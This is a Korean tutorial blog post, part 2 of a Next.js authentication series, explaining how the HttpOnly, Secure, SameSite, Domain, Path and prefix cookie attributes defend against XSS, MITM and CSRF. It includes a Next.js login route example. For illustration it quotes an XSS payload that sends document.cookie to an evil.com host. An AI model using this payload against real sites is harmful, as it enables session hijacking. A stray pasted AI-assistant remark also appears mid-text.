시리즈 목차: 인증과 Next.js

• (1편) CORS 에러 제대로 이해하기 with Next.js
• (2편) 쿠키 보안 속성 - Secure, HttpOnly, SameSite의 진짜 의미 ← 현재 글
• (3편) Axios + 쿠키 인증 — withCredentials와 CORS의 콜라보
• (4편) BFF 패턴 & Proxy Handler — Next.js를 API 게이트웨이로

---

(2) 쿠키 보안 속성 - Secure, HttpOnly, SameSite의 진짜 의미

로그인 인증에 쿠키를 쓴다고 하면 보통 이렇게 설정한다.

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

각 옵션이 뭔지는 어렴풋이 알고 있을지도 모른다. 그런데 왜 이 조합이어야 하는지, 각각 어떤 공격을 막기 위한 것인지 설명하라고 하면 막힐 수 있다.

2편에서는 쿠키 옵션 하나하나가 존재하는 이유를 공격 시나리오와 함께 설명합니다. 코드보다 원리를 먼저 이해하면 어떤 상황에 어떤 옵션을 써야 하는지가 자연스럽게 따라오게 될 것입니다.

---

1. 쿠키가 존재하는 이유 — HTTP의 Stateless 문제

쿠키를 이해하려면 먼저 HTTP의 근본적인 한계를 알아야 합니다.

HTTP는 무상태(Stateless) 프로토콜이다

HTTP는 각 요청을 독립적으로 처리합니다. 서버는 이전 요청을 기억하지 않습니다.

mermaid

웹 서비스는 사용자(요청자)의 상태를 유지해야 합니다. 장바구니, 로그인 상태, 언어 설정 등입니다. 이 문제를 해결하기 위해 쿠키가 등장했습니다.

쿠키의 동작 원리

1. 사용자가 로그인한다
2. 서버는 응답 헤더에 Set-Cookie를 포함시킨다

   HTTP/1.1 200 OK
   Set-Cookie: session_id=abc123

3. 브라우저는 이 쿠키를 저장해둔다
4. 이후 같은 도메인으로 요청할 때마다 Cookie 헤더에 자동으로 포함시킨다

   GET /mypage HTTP/1.1
   Cookie: session_id=abc123

5. 서버는 session_id를 보고 어떤 사용자인지 식별한다

쿠키는 이처럼 서버가 클라이언트(브라우저)에게 "이걸 저장해뒀다가 나한테 요청할 때마다 보내줘"라고 지시하는 메커니즘입니다. 실제 저장은 브라우저가 합니다.

쿠키의 세 가지 주요 용도:

---

2. 쿠키의 생명주기

쿠키에는 두 종류가 있습니다.

2-1. 세션 쿠키 vs 영구 쿠키

세션 쿠키:
Set-Cookie: temp_data=xyz
→ Max-Age나 Expires 없음
→ 브라우저 **세션이 종료되면** 삭제됨

영구 쿠키:
Set-Cookie: user_pref=dark; Max-Age=2592000
Set-Cookie: user_pref=dark; Expires=Mon, 09 Jun 2025 00:00:00 GMT
→ 지정된 시간까지 유지됨
→ 브라우저를 닫아도 남아있음

참고: 세션 쿠키와 브라우저 재시작
크롬 등 현대 브라우저에서는 "중단한 위치에서 다시 시작" 설정이 켜져 있으면
브라우저를 완전히 종료했다가 다시 켜도 세션 쿠키가 복원되는 것처럼 보일 수 있다.
개념적으로는 "브라우저 세션이 끝나면 사라지는 쿠키"라고 이해하되,
실제 동작은 브라우저 설정에 따라 달라질 수 있다는 점을 함께 기억해 두면 좋다.

2-2. 영구 쿠키 - Max-Age vs Expires: 무엇을 써야 할까

Expires는 절대 시간(날짜)을 사용합니다. Max-Age는 현재로부터의 상대적 시간(초)을 사용합니다.

문제는 Expires가 클라이언트의 시계를 기준으로 동작한다는 점입니다. 서버와 클라이언트의 시계가 다르면 의도한 대로 동작하지 않을 수 있습니다. Max-Age는 이 문제가 없으며, 두 가지가 동시에 설정되면 Max-Age가 우선합니다.

실무 팁: 인증 쿠키를 설정할 때는 Max-Age를 사용하는 것이 안전하다.

2-3. 쿠키 삭제의 원리

서버가 직접 브라우저에서 쿠키를 삭제할 수는 없습니다. 서버는 브라우저에 "이 쿠키를 지워라"고 지시할 수 없습니다. 단지 "이 쿠키를 만료시켜라"고만 할 수 있습니다.

http
Set-Cookie: session_id=; Max-Age=0; Path=/

Max-Age=0으로 설정하면 브라우저가 즉시 해당 쿠키를 만료시킵니다.
이것이 로그아웃 시 서버에서 쿠키를 삭제하는 방식입니다.

주의: 삭제할 때도 주소가 필요하다
쿠키를 만들 때 Path=/admin 이나 Domain=api.example.com 처럼 범위를 좁혀 두었다면,
삭제(만료)할 때도 동일한 Domain과 Path를 함께 지정해야 브라우저가 같은 쿠키로 인식하고 만료시킨다.
생성할 때와 다른 Domain·Path로 Max-Age=0을 보내면, 브라우저 입장에서는 "다른 쿠키"이기 때문에
기존 쿠키는 그대로 남고, "삭제가 안 된다"고 느끼게 되는 경우가 많다.

---

3. 보안 속성 알아보기 — 왜 존재하는가

쿠키는 브라우저에 저장 + 자동으로 전송되는 특성 때문에 여러 보안 위협에 노출됩니다.
각 보안 속성은 특정 공격을 막기 위해 존재합니다.

3-1. HttpOnly — XSS 공격 방어

먼저 XSS(Cross-Site Scripting)가 뭔지 이해해야 합니다.

XSS는 공격자가 악성 JavaScript 코드를 정상적인 웹 페이지에 삽입하는 공격입니다.

공격 시나리오:

1. 공격자가 게시판에 댓글을 작성한다:
   <script>
     fetch('https://evil.com/steal?cookie=' + document.cookie);
   </script>

2. 다른 사용자가 이 게시글을 열람합니다.

3. 피해자의 브라우저에서 위 스크립트가 실행됩니다.

4. document.cookie로 현재 저장된 모든 쿠키를 읽어온다:
   session_id=abc123; user_id=42; auth_token=xyz...

5. 이 값을 공격자의 서버로 전송합니다.

6. 공격자가 session_id를 가지고 피해자인 척 서비스를 이용합니다.
   → 세션 하이재킹(Session Hijacking)

HttpOnly는 이 공격의 핵심 경로를 차단합니다.

HttpOnly 없을 때:
document.cookie // "session_id=abc123" 접근 가능

HttpOnly 있을 때:
document.cookie // "" 또는 HttpOnly가 아닌 쿠키만 반환
                // session_id에 접근 불가

HttpOnly가 설정된 쿠키는 JavaScript(document.cookie, Cookie Store API)로 접근할 수 없습니다.
HTTP 요청/응답 헤더로만 전달되기 때문에 스크립트 인젝션 공격으로부터 안전합니다.

http
Set-Cookie: session_id=abc123; HttpOnly

의문: "그러면 프론트엔드에서 쿠키를 못 읽으면 어떻게 인증 상태를 확인하지?"

인증이 필요한 API를 호출할 때 브라우저가 HttpOnly 쿠키를 자동으로 헤더에 포함시켜 서버에 보낸다.
서버가 쿠키의 유효성을 확인하고 응답을 내려준다.
프론트엔드는 쿠키 값 자체를 읽을 필요가 없다.
인증 상태 확인이 필요하면 서버에 /api/me 같은 엔드포인트를 만들어서 확인하면 된다.

---

보내주신 내용을 바탕으로, 시니어 개발자의 관점에서 전문성을 더해줄 보완 포인트들을 흐름에 맞게 직접 배치해 보았습니다. 특히 Mixed Content와 로드밸런서(L4/L7) 이슈는 실무에서 자주 발생하는 트러블슈팅 포인트라 독자들에게 큰 도움이 될 것입니다.

---

3-2. Secure — MITM(중간자) 공격 방어

MITM(Man-in-the-Middle) 공격이란 통신 중간에 공격자가 끼어들어 데이터를 도청하거나 변조하는 공격입니다.

mermaid

mermaid

http
Set-Cookie: session_id=abc123; Secure

Secure 속성이 설정된 쿠키는 HTTPS 연결에서만 전송됩니다. HTTP로 접근하면 해당 쿠키가 요청 헤더에 포함되지 않습니다.

왜 HTTPS 사이트에서도 Secure가 필수일까? (Mixed Content) 우리 서비스가 HTTPS 환경이더라도, 페이지 내에 실수로 http://로 시작하는 외부 이미지나 레거시 스크립트가 포함될 수 있다. 만약 Secure 속성이 없다면, 브라우저는 이 암호화되지 않은 HTTP 요청에도 소중한 세션 쿠키를 실어서 보내버린다. 공격자는 바로 이 틈을 타서 쿠키를 낚아챈다.

더 강력한 방어선: HSTS(HTTP Strict Transport Security) Secure 쿠키와 함께 실무에서 반드시 고려해야 할 것이 HSTS 헤더이다. 서버가 "앞으로 우리 사이트는 무조건 HTTPS로만 접속해!"라고 브라우저에게 강제하는 설정이다. Secure 속성이 실수로 누락된 쿠키가 있더라도, HSTS가 적용된 브라우저는 애초에 HTTP 요청 자체를 시도하지 않으므로 보안의 두께가 달라진다.

로컬 개발 환경 예외 localhost는 보안 예외로 처리되어 HTTP에서도 Secure 쿠키가 동작합니다. 개발 중 Secure 속성 때문에 쿠키가 동작하지 않는다면, 배포 환경에서 HTTP로 서비스하고 있지 않은지 확인해야 합니다.

예외의 예외!: WebKit(Safari)에서는 다르게 동작한다 스펙과 Chrome/Firefox 계열 브라우저는 localhost를 보안 예외로 취급해서 http://localhost에서도 Secure 쿠키를 허용하는 경우가 많다. 하지만 WebKit(Safari 계열)은 이 예외를 구현하지 않아, HTTP + localhost 조합에서는 Secure 쿠키가 제대로 설정·전송되지 않을 수 있다. 이 프로젝트의 E2E 테스트에서도 WebKit에서는 Secure 쿠키 기반 인증이 깨지는 문제가 있었고, PR E2E에서는 WebKit을 제외하는 대신, 추후 HTTPS 스테이징 환경에서 별도의 WebKit 테스트를 돌리는 전략 등을 사용해야 한다.

실무 체크리스트: 배포 후 쿠키가 잘 안구워진다면(SSL Termination)

로컬(localhost)에서는 잘 되는데, 배포만 하면 로그인이 안 되는 경우가 있다. 규모가 있는 서비스의 경우 주로 이 문제 때문이다.

상황: 서비스 성능을 위해 앞단의 **로드밸런서(L4/L7)**가 HTTPS 암호를 미리 풀어버리고, 우리 서버(Node.js 등)에는 일반 HTTP로 요청을 전달한다. (이를 SSL Termination이라 함)

문제: 우리 서버는 "어? 보안 연결(HTTPS)이 아니네?"라고 오해한다. 이때 Secure 옵션이 붙은 쿠키를 구우려고 하면, 서버 프레임워크가 **"비보안 통신에 Secure 쿠키는 위험해!"**라며 해당 옵션을 스스로 삭제해버린다.

해결: 로드밸런서가 보내주는 X-Forwarded-Proto: https 헤더를 우리 서버가 믿게 해주면 된다. express의 경우 앞단에 'trust proxy', true;를 추가해주자

3-3. SameSite — CSRF 공격 방어

SameSite는 가장 이해하기 어렵지만, 현대 웹 보안에서 가장 중요한 쿠키 속성입니다.

먼저 CSRF(Cross-Site Request Forgery) 공격을 이해해야 합니다.

일단 아래 다이어그램을 보시죠.

mermaid

이해가 되시나요? 내가 bank.com에 접속해 있지 않았는데(evil.com에 접속해 있음) 요청의 목적지가 bank.com이기에 브라우저는 자동으로 쿠키를 동봉하게 되는걸 볼 수 있습니다. CSRF는 이 점을 이용한 '서버 공격'인 것이죠.

보통 우리는 **"내가 그 사이트에 접속해 있어야만 쿠키가 나간다"**고 생각하기 쉽습니다. 하지만 브라우저의 기본 동작은 **"요청의 목적지가 어디냐"**에 따라 쿠키를 보낼지 결정합니다. 내가 evil.com에 있든 google.com에 있든, 요청의 목적지가 bank.com이면 브라우저는 자동으로 쿠키를 동봉합니다.

여기서 중요한 점은 공격자가 내 session_id 값을 직접 훔쳐가는 것이 아니라는 점입니다. 공격자는 그 값을 몰라도 됩니다. 브라우저가 "해당 도메인으로 가는 요청"에 쿠키를 자동으로 태워 보내는 특성을 이용할 뿐입니다.

SameSite는 바로 이 자동 전송의 범위를 제한해서 이런 종류의 공격을 무력화할 수 있습니다.

http
Set-Cookie: session_id=abc123; SameSite=Strict

SameSite는 쿠키를 어떤 상황에서 전송할지를 제어하여 CSRF 공격을 방어할 수 있습니다. (아래 표 참고)

참고로 SameSite에서 말하는 "Site"는 Origin이 아니라 eTLD+1(예: example.com) 기준이다.
예를 들어 api.example.com과 www.example.com은 서로 다른 Origin이지만,
example.com이라는 같은 Site에 속하므로 SameSite 판단에서는 같은 사이트로 취급된다.

각 값이 실제로 어떻게 동작하는지 표로 정리하면 다음과 같습니다.

Lax vs Strict, 언제 무엇을 써야 하나

Lax와 Strict의 핵심 차이는 "타 사이트(Cross-site)에서 내 사이트로 들어올 때 쿠키를 보낼 것인가" 입니다.
두 옵션 모두 타 사이트에서 보내는 POST/form 요청에는 쿠키를 보내지 않지만,
Lax는 링크 클릭 같은 안전한 GET 네비게이션에서는 쿠키를 허용하고, Strict는 그것마저도 막습니다.

SameSite=Strict는 보안이 가장 강력하지만 UX 문제가 생길 수 있습니다.
예를 들어, 카카오톡에서 공유된 링크를 클릭해 쇼핑몰에 들어갔을 때
Strict이면 로그인 쿠키가 전달되지 않아 비로그인 상태로 보일 수 있습니다.

추천 사용 기준:

• SameSite=Strict: 금융, 관리자 페이지 등 보안이 최우선인 경우
• SameSite=Lax: 일반적인 서비스 (외부 링크를 통한 접근도 고려해야 할 때, 기본 선택)
• SameSite=None: 임베디드 위젯, 크로스 도메인 SSO, 제3자 서비스 등 진짜로 Cross-site에서 항상 쿠키가 필요한 경우에만 사용

SameSite=None의 필수 조건

http
/* 이렇게 설정하면 브라우저가 쿠키를 거부한다 */
Set-Cookie: widget_session=xyz; SameSite=None

/* 반드시 Secure를 함께 사용해야 한다 */
Set-Cookie: widget_session=xyz; SameSite=None; Secure

SameSite=None은 크로스사이트 요청에도 쿠키를 보내겠다는 선언입니다.
이것은 보안상 위험도가 높기 때문에, 반드시 HTTPS를 통해 암호화된 연결에서만 사용하도록 강제합니다.
RFC 표준에서 명시한 요구사항이며 현대 브라우저는 이를 엄격히 적용합니다.

Chrome 80+ 변화 (중요)
2020년 Chrome 80부터 SameSite 속성을 명시하지 않은 쿠키는 기본값이 Lax로 처리된다.
이전에는 None이 기본값이었다.
이 변화로 인해 기존에 잘 동작하던 크로스사이트 쿠키 전송이 갑자기 안 되는 문제가 생겼고,
많은 서비스가 이 변화에 적응해야 했다.

---

4. Domain & Path — 쿠키 전송 범위 제어

이 두 속성은 쿠키가 어디까지 전송될지를 제어하는 속성입니다.

Secure나 HttpOnly처럼 암호화나 스크립트 접근을 막는 '직접적인 보안'과는 달리, 쿠키의 Scope(범위)를 제한함으로써 공격 표면을 줄이는 '구조적/접근 제어 보안'에 가깝습니다.

4-1. Domain

http
Set-Cookie: session_id=abc; Domain=example.com

• Domain=example.com으로 설정하면 example.com과 모든 서브도메인(api.example.com, admin.example.com 등)에 쿠키가 전송됩니다.
• Domain을 명시하지 않으면 Host-only 쿠키가 되어, 설정한 도메인에서만 전송되고 서브도메인에서는 절대 전송되지 않습니다.
• 보안 관점에서는 가능한 한 Domain을 생략(Host-only)하고, 꼭 필요할 때만 범위를 넓히는 것이 좋습니다.
• 서버는 자신의 도메인이나 상위 도메인에만 Domain을 설정할 수 있습니다. 다른 도메인에는 설정 불가.

4-2. Path

http
Set-Cookie: admin_token=xyz; Path=/admin

• 해당 경로와 그 하위 경로의 요청에만 쿠키가 전송됩니다.
• 위의 경우, /admin/dashboard나 /admin/users에는 전송되지만 /user에는 전송되지 않습니다.
• 기본값은 /로, 해당 도메인의 모든 경로에 전송됩니다.

---

5. 쿠키 보안 강화 — 쿠키 프리픽스

브라우저는 Set-Cookie 헤더가 어떤 서버에서 왔는지, 어떤 프로토콜을 통해 설정됐는지 깊게 검증하지 않습니다.
이를 보완하기 위해 쿠키 이름 프리픽스를 사용할 수 있습니다.
__Secure-, __Host- 같은 프리픽스 이름은 브라우저/표준 진영에서 미리 정해 둔 규칙이고,
우리가 이 이름을 사용하면 브라우저가 **“이 이름이라면 반드시 이런 조건을 만족해야 한다”**고 자동으로 검증해 줍니다. (검증에 실패하면 쿠키 저장을 거부합니다.)

• __Secure- 프리픽스: HTTPS에서만, Secure 속성이 반드시 필요합니다.

http
Set-Cookie: __Secure-session_id=abc; Secure; Path=/

• __Host- 프리픽스: 더 엄격한 조건을 강제합니다.
  • Secure 속성 필수
  • Domain 속성 설정 불가 (서브도메인 전파 금지, Host-only)
  • Path=/ 필수

http
Set-Cookie: __Host-session_id=abc; Secure; Path=/

__Host- 프리픽스를 사용하면 현재 호스트에만 쿠키가 전송되고 서브도메인으로 흘러가지 않음을 브라우저 수준에서 보장할 수 있습니다.
브라우저는 이 규칙에 맞지 않는 쿠키는 아예 저장을 거부합니다.

---

6. 추가: Next.js에서 쿠키 다루기

잠시 Next.js에서 쿠키를 다루는 방식을 살펴봅시다.

공식 문서(nextjs.org/docs/app/api-reference/functions/cookies)에 따르면, Next.js에서 쿠키를 다루는 방식은 실행 위치에 따라 다릅니다.

쿠키 읽기:  Server Component, Route Handler, Proxy 모두 가능
쿠키 쓰기:  Route Handler, Server Function(Server Action)만 가능

App Router 기준으로 레이어별 쿠키 역할을 한 번 더 정리하면 다음과 같습니다.

이 글에서는 민감한 인증 쿠키는 항상 Route Handler나 Server Action에서만 읽고/쓰는 것을 전제로 설명합니다.
클라이언트 컴포넌트에서는 HttpOnly 쿠키를 읽을 수 없고, 읽을 수 있다 하더라도 보안상 바람직하지 않습니다.

Server Component에서는 쿠키를 ‘읽기’만 할 수 있고, 새로 설정·수정·삭제(만료)하는 것은 불가능한 이유

React Server Component는 HTML을 스트리밍으로 렌더링하는 과정에서 동작합니다.
HTTP의 특성상 Set-Cookie 헤더는 응답의 시작 부분에 포함되어야 합니다.
그런데 스트리밍 렌더링이 시작되면 헤더는 이미 전송된 상태입니다.
따라서 렌더링 중에 쿠키를 설정하는 것은 구조적으로 불가능합니다.

요약하면, Server Component는 이미 HTML을 스트리밍으로 뿌리는 중인 레이어이기 때문에
그 시점에는 더 이상 Set-Cookie 같은 응답 헤더를 추가할 수 없습니다.
그래서 “쿠키를 쓰는 책임”은 항상 Route Handler나 Server Action 쪽에 두는 것이 Next.js 설계 철학과도 잘 맞습니다.

ts
// Route Handler에서 쿠키 설정 (가능)
// app/api/login/route.ts
import { cookies } from "next/headers";

export async function POST(request: Request) {
  const { username, password } = await request.json();

  // 인증 처리 후...
  const sessionId = await createSession(username);

  const cookieStore = await cookies();
  cookieStore.set("session_id", sessionId, {
    httpOnly: true, // JavaScript 접근 차단
    secure: true, // HTTPS에서만 전송
    sameSite: "lax", // CSRF 방어
    maxAge: 60 * 60 * 24 * 7, // 7일
    path: "/",
  });

  return Response.json({ success: true });
}

ts
// Server Component에서 쿠키 읽기 (가능)
// app/dashboard/page.tsx
import { cookies } from "next/headers";

export default async function DashboardPage() {
  const cookieStore = await cookies();
  const sessionId = cookieStore.get("session_id");

  if (!sessionId) {
    redirect("/login");
  }

  // 세션 검증 후 데이터 패칭...
}

Next.js 버전별 차이
Next.js 15부터는 cookies()가 비동기 API로 변경되었습니다.
예전 버전(13~14) 문서를 참고할 때는 const cookieStore = cookies(); 와 같이 동기 예제가 등장할 수 있지만,
이 글에서는 최신 App Router(15 기준)의 비동기 형태(await cookies())에 맞춰 설명합니다.

---

7. 보안 속성 조합 — 실전 가이드

각 속성이 어떤 공격을 막는지 정리하면 다음과 같습니다.

인증 쿠키의 권장 설정

http
Set-Cookie: session_id=abc123;
  HttpOnly;
  Secure;
  SameSite=Lax;
  Max-Age=604800;
  Path=/

• HttpOnly: XSS로 세션 탈취 방지
• Secure: HTTP 도청으로 세션 탈취 방지
• SameSite=Lax: CSRF 공격 방지 + 외부 링크로 접근 시 로그인 유지
• Max-Age=604800: 7일 후 만료 (영구 쿠키 방지)
• Path=/: 사이트 전체에서 사용

---

8. 정리

쿠키의 각 보안 속성은 특정 공격을 막기 위해 설계된 것입니다.

공격 유형          방어 수단
─────────────────────────────────
XSS 쿠키 탈취  →  HttpOnly
MITM 도청      →  Secure
CSRF 공격      →  SameSite

이 세 가지 공격과 방어 메커니즘의 관계를 이해하면, 쿠키 옵션을 단순 암기가 아닌 논리적으로 설정할 수 있습니다.

예시

그런데 말이다. 프론트엔드(localhost:3000)와 백엔드(localhost:8080)처럼 포트만 다른 경우는 브라우저 입장에서 같은 사이트일까, 다른 사이트일까?
이때 SameSite와 CORS는 어떻게 상호작용할까?

위 질문이 3편에서 다룰 CORS와 쿠키의 지독한 관계의 출발점이 될 것입니다.

1편부터 2편까지, CORS와, 쿠키, 그리고 둘 간의 관계를 살펴봤습니다.

다음 편에서는 이 쿠키 설정이 axios의 withCredentials 옵션과 어떻게 맞물려서 동작하는지,
그리고 왜 withCredentials: true만 붙이면 쿠키가 전송되지 않는지를 다룹니다.